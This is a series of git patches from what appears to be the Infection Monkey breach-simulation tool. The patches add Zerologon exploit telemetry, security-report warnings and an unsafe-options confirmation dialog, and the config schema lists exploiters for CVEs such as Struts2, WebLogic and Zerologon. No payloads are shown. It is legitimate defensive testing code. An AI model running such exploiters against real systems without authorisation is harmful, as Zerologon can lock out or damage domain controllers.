"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/", }, { "type": "string", - "enum": [ - "SambaCryExploiter" - ], + "enum": ["SambaCryExploiter"], "title": "SambaCry Exploiter", "safe": True, "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/", }, { "type": "string", - "enum": [ - "ElasticGroovyExploiter" - ], + "enum": ["ElasticGroovyExploiter"], "title": "ElasticGroovy Exploiter", "safe": True, "info": "CVE-2015-1427. Logic is based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/", }, { "type": "string", - "enum": [ - "Struts2Exploiter" - ], + "enum": ["Struts2Exploiter"], "title": "Struts2 Exploiter", "safe": True, "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " - "https://www.exploit-db.com/exploits/41570 .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/" + "https://www.exploit-db.com/exploits/41570 .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", }, { "type": "string", - "enum": [ - "WebLogicExploiter" - ], + "enum": ["WebLogicExploiter"], "title": "WebLogic Exploiter", "safe": True, "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/", }, { "type": "string", - "enum": [ - "HadoopExploiter" - ], + "enum": ["HadoopExploiter"], "title": "Hadoop/Yarn Exploiter", "safe": True, "info": "Remote code execution on HADOOP server with YARN and default settings. " - "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/" + "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", }, { "type": "string", - "enum": [ - "VSFTPDExploiter" - ], + "enum": ["VSFTPDExploiter"], "title": "VSFTPD Exploiter", "safe": True, "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " - "Logic based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/" + "Logic based on Metasploit module.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/", }, { "type": "string", - "enum": [ - "DrupalExploiter" - ], + "enum": ["DrupalExploiter"], "title": "Drupal Exploiter", "safe": True, "info": "Exploits a remote command execution vulnerability in a Drupal server," - "for which certain modules (such as RESTful Web Services) are enabled.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/" + "for which certain modules (such as RESTful Web Services) are enabled.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", }, { "type": "string", - "enum": [ - "ZerologonExploiter" - ], + "enum": ["ZerologonExploiter"], "title": "Zerologon Exploiter", "safe": False, "info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " - "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " - "This exploiter changes the password of a Windows server domain controller " - "account and could prevent the victim domain controller from communicating " - "with other domain controllers. While it attempts to undo " - "its changes and reset the password back to the original after the " - "vulnerability is exploited, this is not successful in all cases. For " - "instructions on how to reset the domain controller's password, see the documentation.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" - } - ] + "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " + "This exploiter changes the password of a Windows server domain controller " + "account and could prevent the victim domain controller from communicating " + "with other domain controllers. While it attempts to undo " + "its changes and reset the password back to the original after the " + "vulnerability is exploited, this is not successful in all cases. For " + "instructions on how to reset the domain controller's password, see the documentation.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/", + }, + ], } From 36bd9834a67282e4967277b48ad7ac6a3169b9ec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Feb 2021 15:07:42 -0500 Subject: [PATCH 325/466] agent: add zerologon password restore success/failure to telemetry --- monkey/infection_monkey/exploit/zerologon.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index dee5c349a..b9ee1a1ff 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -38,6 +38,7 @@ class ZerologonExploiter(HostExploiter): super().__init__(host) self.vulnerable_port = None self.exploit_info["credentials"] = {} + self.exploit_info["password_restore_success"] = None self._extracted_creds = {} def _exploit_host(self) -> bool: @@ -62,9 +63,11 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: if self.restore_password(): + self.exploit_info["password_restore_success"] = True self.store_extracted_creds_for_exploitation() LOG.info("System exploited and password restored successfully.") else: + self.exploit_info["password_restore_success"] = False LOG.info("System exploited but couldn't restore password!") else: LOG.info("System was not exploited.") From 4fbb0f202634f133e4d05ec30082d5c3c034000d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Feb 2021 16:36:53 -0500 Subject: [PATCH 326/466] ui: add machine-related recommendation for Zerologon to security report --- .../report-components/SecurityReport.js | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 1d6072ece..8a27cc7cc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -892,6 +892,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateZerologonIssue(issue) { + return ( + <> + Install Windows security updates. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Zerologon exploit. +
    + The attack was possible because the latest security updates from Microsoft + have not been applied to this machine. For more information about this + vulnerability, read + Microsoft's documentation. +
    + + ); + } + generateIssue = (issue) => { let issueData; switch (issue.type) { @@ -964,6 +982,9 @@ class ReportPageComponent extends AuthComponent { case 'drupal': issueData = this.generateDrupalIssue(issue); break; + case 'zerologon': + issueData = this.generateZerologonIssue(issue); + break; } return
  • {issueData}
  • ; }; From 70fd7d7bb0e20501ca85d8859a4c00becad9fb06 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Feb 2021 17:15:32 -0500 Subject: [PATCH 327/466] cc: add password_restore_success to zerologon report issue --- monkey/monkey_island/cc/services/reporting/report.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index d48a753ed..44a01a14a 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -394,6 +394,7 @@ class ReportService: def process_zerologon_exploit(exploit): processed_exploit = ReportService.process_general_exploit(exploit) processed_exploit['type'] = 'zerologon' + processed_exploit['password_restore_success'] = exploit['data']['info']['password_restore_success'] return processed_exploit @staticmethod From f17c08d2869c53294ec20ad78987dba649a47313 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Feb 2021 17:26:31 -0500 Subject: [PATCH 328/466] cc,agent: rename password_restore_success -> password_restored --- monkey/infection_monkey/exploit/zerologon.py | 6 +++--- monkey/monkey_island/cc/services/reporting/report.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index b9ee1a1ff..aa82d78c5 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -38,7 +38,7 @@ class ZerologonExploiter(HostExploiter): super().__init__(host) self.vulnerable_port = None self.exploit_info["credentials"] = {} - self.exploit_info["password_restore_success"] = None + self.exploit_info["password_restored"] = None self._extracted_creds = {} def _exploit_host(self) -> bool: @@ -63,11 +63,11 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: if self.restore_password(): - self.exploit_info["password_restore_success"] = True + self.exploit_info["password_restored"] = True self.store_extracted_creds_for_exploitation() LOG.info("System exploited and password restored successfully.") else: - self.exploit_info["password_restore_success"] = False + self.exploit_info["password_restored"] = False LOG.info("System exploited but couldn't restore password!") else: LOG.info("System was not exploited.") diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 44a01a14a..c15a2af5d 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -394,7 +394,7 @@ class ReportService: def process_zerologon_exploit(exploit): processed_exploit = ReportService.process_general_exploit(exploit) processed_exploit['type'] = 'zerologon' - processed_exploit['password_restore_success'] = exploit['data']['info']['password_restore_success'] + processed_exploit['password_restored'] = exploit['data']['info']['password_restored'] return processed_exploit @staticmethod From 3da1de39a6cf1d9b43781e9443af591c6e6d74f5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 25 Feb 2021 14:54:36 +0530 Subject: [PATCH 329/466] Add Zerologon (and Drupal) information to "Immediate Threats" --- .../components/report-components/SecurityReport.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 8a27cc7cc..fdcc794f6 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -38,7 +38,9 @@ class ReportPageComponent extends AuthComponent { HADOOP: 10, PTH_CRIT_SERVICES_ACCESS: 11, MSSQL: 12, - VSFTPD: 13 + VSFTPD: 13, + DRUPAL: 14, + ZEROLOGON: 15 }; Warning = @@ -296,6 +298,14 @@ class ReportPageComponent extends AuthComponent { critical. : null} {this.state.report.overview.issues[this.Issue.MSSQL] ?
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null} + {this.state.report.overview.issues[this.Issue.DRUPAL] ? +
  • Drupal servers are susceptible to a remote code execution vulnerability + ( + CVE-2019-6340).
  • : null} + {this.state.report.overview.issues[this.Issue.ZEROLOGON] ? +
  • Machines are vulnerable to 'Zerologon' + ( + CVE-2020-1472).
  • : null}
    : From 6581a5ab0c81fb9ccba7513654a1a93c5c10348a Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 25 Feb 2021 18:17:50 +0530 Subject: [PATCH 330/466] Add warning to machine-specific recommendation if password was not reset --- .../components/report-components/SecurityReport.js | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index fdcc794f6..916bee020 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -13,6 +13,7 @@ import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; import SecurityIssuesGlance from './common/SecurityIssuesGlance'; import PrintReportButton from './common/PrintReportButton'; +import WarningIcon from '../ui-components/WarningIcon'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'; @@ -21,6 +22,7 @@ import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; + class ReportPageComponent extends AuthComponent { Issue = @@ -915,6 +917,15 @@ class ReportPageComponent extends AuthComponent { have not been applied to this machine. For more information about this vulnerability, read Microsoft's documentation. + {!issue.password_restored ? +
    +
    + + The domain controller's password was changed during the exploit and could not be restored successfully. + Instructions on how to manually reset the domain controller's password can be found here. + +
    : null} ); From 8b7e0d0fa0ed7ab078c0c9cabf01bebdf4354655 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Feb 2021 14:28:16 +0200 Subject: [PATCH 331/466] Added ZeroLogon overview section to the report --- .../cc/services/reporting/report.py | 4 +++ .../report-components/SecurityReport.js | 28 +++++++++++++++++- .../src/styles/pages/report/ReportPage.scss | 29 ++++++++++++------- 3 files changed, 50 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index c15a2af5d..f22229afd 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -65,6 +65,7 @@ class ReportService: VSFTPD = 13 DRUPAL = 14 ZEROLOGON = 15 + ZEROLOGON_CRED_RESTORE_FAILED = 16 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -714,6 +715,9 @@ class ReportService: elif issue['type'] == 'drupal': issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True elif issue['type'] == 'zerologon': + # TODO fix to propperly set restoration flag + if issue['info']['zero_logon_restore_failed']: + issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_CRED_RESTORE_FAILED.value] = True issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 916bee020..29e94541f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -14,6 +14,7 @@ import ReportLoader from './common/ReportLoader'; import SecurityIssuesGlance from './common/SecurityIssuesGlance'; import PrintReportButton from './common/PrintReportButton'; import WarningIcon from '../ui-components/WarningIcon'; +import {Button} from 'react-bootstrap'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'; @@ -42,7 +43,8 @@ class ReportPageComponent extends AuthComponent { MSSQL: 12, VSFTPD: 13, DRUPAL: 14, - ZEROLOGON: 15 + ZEROLOGON: 15, + ZEROLOGON_CRED_RESTORE_FAILED: 16 }; Warning = @@ -308,6 +310,7 @@ class ReportPageComponent extends AuthComponent {
  • Machines are vulnerable to 'Zerologon' ( CVE-2020-1472).
  • : null} + {this.generateZeroLogonOverview()} : @@ -365,6 +368,29 @@ class ReportPageComponent extends AuthComponent { ); } + generateZeroLogonOverview() { + let zeroLogonOverview = []; + + // TODO finish this by linking to the documentation + if(this.state.report.overview.issues[this.Issue.ZEROLOGON_CRED_RESTORE_FAILED]) { + zeroLogonOverview.push( + Automatic password restoration on a domain controller failed! + + ) + } + if(this.state.report.overview.issues[this.Issue.ZEROLOGON]) { + zeroLogonOverview.push(<> + Some domain controllers are vulnerable to ZeroLogon exploiter( + + CVE-2020-1472)! + ) + } else { + return none; + } + return (
  • {zeroLogonOverview}
  • ) + } + generateReportRecommendationsSection() { return (
    diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss index 088e012f3..2c56e941f 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss @@ -7,15 +7,15 @@ font-size: large; } -.report-nav > li > a{ +.report-nav > li > a { height: 50px !important; } -.report-nav .nav-item > a{ +.report-nav .nav-item > a { color: $black; } -.report-nav .nav-item > a.active{ +.report-nav .nav-item > a.active { font-weight: bold; color: $black; } @@ -72,16 +72,25 @@ div.report-wrapper { padding-bottom: 20px; } -div.report-wrapper .nav-tabs > .nav-item > a:hover:not(.active), .nav-tabs > .nav-item > a:focus:not(.active){ - text-decoration: none; - background-color: $light-gray; +div.report-wrapper .nav-tabs > .nav-item > a:hover:not(.active), .nav-tabs > .nav-item > a:focus:not(.active) { + text-decoration: none; + background-color: $light-gray; } ul.cross-segment-issues { - list-style-type: none; - padding: 0px; - margin: 0px; + list-style-type: none; + padding: 0px; + margin: 0px; } + span.cross-segment-service { - text-transform: uppercase; + text-transform: uppercase; +} + +.report-page li a.btn,.security-report-link { + position: relative; + font-size: 1em; + padding: 0 5px; + line-height: 1em; + top: -3px; } From 94ac75e649824388db1700475306eeefd1e1c6c3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Feb 2021 15:24:03 +0200 Subject: [PATCH 332/466] Improved zero logon overview UI and added password restoration warning to overview. --- monkey/monkey_island/cc/services/reporting/report.py | 3 +-- .../ui/src/components/report-components/SecurityReport.js | 8 ++------ 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index f22229afd..3405ca8b3 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -715,8 +715,7 @@ class ReportService: elif issue['type'] == 'drupal': issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True elif issue['type'] == 'zerologon': - # TODO fix to propperly set restoration flag - if issue['info']['zero_logon_restore_failed']: + if issue['password_restored']: issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_CRED_RESTORE_FAILED.value] = True issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 29e94541f..512ac6a82 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -306,10 +306,6 @@ class ReportPageComponent extends AuthComponent {
  • Drupal servers are susceptible to a remote code execution vulnerability ( CVE-2019-6340).
  • : null} - {this.state.report.overview.issues[this.Issue.ZEROLOGON] ? -
  • Machines are vulnerable to 'Zerologon' - ( - CVE-2020-1472).
  • : null} {this.generateZeroLogonOverview()}
    @@ -375,14 +371,14 @@ class ReportPageComponent extends AuthComponent { if(this.state.report.overview.issues[this.Issue.ZEROLOGON_CRED_RESTORE_FAILED]) { zeroLogonOverview.push( Automatic password restoration on a domain controller failed! - ) } if(this.state.report.overview.issues[this.Issue.ZEROLOGON]) { zeroLogonOverview.push(<> Some domain controllers are vulnerable to ZeroLogon exploiter( - + CVE-2020-1472)! ) } else { From 11e6b9e28140b8d8c4a5095e4daf469fe116d6b1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 23 Feb 2021 17:06:36 +0530 Subject: [PATCH 333/466] Take IPs for Run Monkey -> Manual page from configuration --- .../components/pages/RunMonkeyPage/RunOptions.js | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index bcfe7d66c..3a43f1a44 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -10,6 +10,8 @@ import RunOnIslandButton from './RunOnIslandButton'; import AWSRunButton from './RunOnAWS/AWSRunButton'; import CloudOptions from './scoutsuite-setup/CloudOptions'; +const CONFIG_URL = '/api/configuration/island'; + function RunOptions(props) { const [currentContent, setCurrentContent] = useState(loadingContents()); @@ -20,12 +22,16 @@ function RunOptions(props) { useEffect(() => { if (initialized === false) { - authComponent.authFetch('/api') - .then(res => res.json()) - .then(res => { - setIps([res['ip_addresses']][0]); - setInitialized(true); + authComponent.authFetch(CONFIG_URL) + .then(res => res.json()) + .then(res => { + let commandServers = res.configuration.internal.island_server.command_servers; + let ipAddresses = commandServers.map(ip => { + return ip.split(":", 1); }); + setIps(ipAddresses); + setInitialized(true); + }); } }) From 67fd1712b5dd71ea47af8c2f6129a9c9fc6623bf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 09:04:47 -0500 Subject: [PATCH 334/466] report: rename ZEROLOGON_CRED_RESTORE_FAILED -> ZEROLOGON_PASSWORD_RESTORED --- monkey/monkey_island/cc/services/reporting/report.py | 4 ++-- .../cc/ui/src/components/report-components/SecurityReport.js | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 3405ca8b3..c6cc9b9cf 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -65,7 +65,7 @@ class ReportService: VSFTPD = 13 DRUPAL = 14 ZEROLOGON = 15 - ZEROLOGON_CRED_RESTORE_FAILED = 16 + ZEROLOGON_PASSWORD_RESTORED = 16 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -716,7 +716,7 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True elif issue['type'] == 'zerologon': if issue['password_restored']: - issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_CRED_RESTORE_FAILED.value] = True + issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_PASSWORD_RESTORED.value] = True issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 512ac6a82..40f92b8a6 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -44,7 +44,7 @@ class ReportPageComponent extends AuthComponent { VSFTPD: 13, DRUPAL: 14, ZEROLOGON: 15, - ZEROLOGON_CRED_RESTORE_FAILED: 16 + ZEROLOGON_PASSWORD_RESTORED: 16 }; Warning = @@ -368,7 +368,7 @@ class ReportPageComponent extends AuthComponent { let zeroLogonOverview = []; // TODO finish this by linking to the documentation - if(this.state.report.overview.issues[this.Issue.ZEROLOGON_CRED_RESTORE_FAILED]) { + if(!this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORED]) { zeroLogonOverview.push( Automatic password restoration on a domain controller failed! + + + + + ) + } + userChangedConfig() { if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { if (Object.keys(this.currentFormData).length === 0 || @@ -410,6 +466,7 @@ class ConfigurePageComponent extends AuthComponent { lg={{offset: 3, span: 8}} xl={{offset: 2, span: 8}} className={'main'}> {this.renderAttackAlertModal()} + {this.renderUnsafeOptionsConfirmationModal()}

    Monkey Configuration

    {this.renderNav()} {content} From c0d2d5b2b6ff0d00932bacd42545827332e1aaa6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 25 Feb 2021 22:38:17 +0530 Subject: [PATCH 339/466] Fix typo, remove unused import, change function/variable names for consistency --- monkey/common/utils/exceptions.py | 2 +- .../exploit/zerologon_utils/vuln_assessment.py | 2 +- .../components/report-components/SecurityReport.js | 14 +++++++------- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 74c645429..8396b423b 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -51,4 +51,4 @@ class FindingWithoutDetailsError(Exception): class DomainControllerNameFetchError(FailedExploitationError): - """ Raise on failed attemt to extract domain controller's name """ + """ Raise on failed attempt to extract domain controller's name """ diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 3c286ded0..3470dd39a 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -4,7 +4,7 @@ from typing import Optional import nmb.NetBIOS from impacket.dcerpc.v5 import nrpc, rpcrt -from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError LOG = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 40f92b8a6..c1d8e7e0e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -306,7 +306,7 @@ class ReportPageComponent extends AuthComponent {
  • Drupal servers are susceptible to a remote code execution vulnerability ( CVE-2019-6340).
  • : null} - {this.generateZeroLogonOverview()} + {this.generateZerologonOverview()} : @@ -364,27 +364,27 @@ class ReportPageComponent extends AuthComponent { ); } - generateZeroLogonOverview() { - let zeroLogonOverview = []; + generateZerologonOverview() { + let zerologonOverview = []; // TODO finish this by linking to the documentation if(!this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORED]) { - zeroLogonOverview.push( + zerologonOverview.push( Automatic password restoration on a domain controller failed! ) } if(this.state.report.overview.issues[this.Issue.ZEROLOGON]) { - zeroLogonOverview.push(<> - Some domain controllers are vulnerable to ZeroLogon exploiter( + zerologonOverview.push(<> + Some domain controllers are vulnerable to Zerologon exploiter( CVE-2020-1472)! ) } else { return none; } - return (
  • {zeroLogonOverview}
  • ) + return (
  • {zerologonOverview}
  • ) } generateReportRecommendationsSection() { From 6813262b30ad39295420bd89b348a7e38a37e838 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 13:37:41 -0500 Subject: [PATCH 340/466] ui: check PBA, exploiter, and system info safety on submit --- .../ui/src/components/pages/ConfigurePage.js | 55 ++++++++++++++++--- 1 file changed, 46 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 8c45f0747..b0990fc8c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -86,26 +86,55 @@ class ConfigurePageComponent extends AuthComponent { }; onSubmit = () => { - if (!this.canSafelySubmitConfig()) { - this.setState({showUnsafeOptionsConfirmation: true}); - return; - } - if (this.state.selectedSection === 'attack') { this.matrixSubmit() } else { this.configSubmit() } - - this.setState({unsafeOptionsConfirmed: false}) }; canSafelySubmitConfig() { - return !this.unsafeOptionsSelected() || this.state.unsafeOptionsConfirmed + return !this.unsafeOptionsSelected() || this.state.unsafeOptionsConfirmed; } unsafeOptionsSelected() { - return true; + return (this.unsafeExploiterSelected() + || this.unsafePostBreachActionSelected() + || this.unsafeSystemInfoCollectorSelected()); + } + + unsafeExploiterSelected() { + return this.unsafeItemSelected( + this.state.schema.definitions.exploiter_classes.anyOf, + this.state.configuration.basic.exploiters.exploiter_classes + ); + } + + unsafePostBreachActionSelected() { + return this.unsafeItemSelected( + this.state.schema.definitions.post_breach_actions.anyOf, + this.state.configuration.monkey.post_breach.post_breach_actions + ); + } + + unsafeSystemInfoCollectorSelected() { + return this.unsafeItemSelected( + this.state.schema.definitions.system_info_collector_classes.anyOf, + this.state.configuration.monkey.system_info.system_info_collector_classes + ); + } + + unsafeItemSelected(options, selectedOptions) { + let item_safety = new Map(); + options.forEach(i => item_safety[i.enum[0]] = i.safe); + + for (let selected of selectedOptions) { + if (!item_safety[selected]) { + return true; + } + } + + return false; } matrixSubmit = () => { @@ -136,6 +165,12 @@ class ConfigurePageComponent extends AuthComponent { configSubmit = () => { // Submit monkey configuration this.updateConfigSection(); + + if (!this.canSafelySubmitConfig()) { + this.setState({showUnsafeOptionsConfirmation: true}); + return; + } + this.sendConfig() .then(res => res.json()) .then(res => { @@ -150,6 +185,8 @@ class ConfigurePageComponent extends AuthComponent { console.log('Bad configuration: ' + error.toString()); this.setState({lastAction: 'invalid_configuration'}); }); + + this.setState({unsafeOptionsConfirmed: false}) }; // Alters attack configuration when user toggles technique From d160787851bf90ab62938fb9c30b041cf96b5333 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 15:39:32 -0500 Subject: [PATCH 341/466] ui: extract renderUnsafeOptionsConfirmationModal() into a component --- .../UnsafeOptionsConfirmationModal.js | 37 ++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 57 ++++++------------- 2 files changed, 54 insertions(+), 40 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js new file mode 100644 index 000000000..1fbf8b0b3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js @@ -0,0 +1,37 @@ +import React from 'react'; +import {Modal, Button} from 'react-bootstrap'; + +function UnsafeOptionsConfirmationModal(props) { + return ( + + +

    +
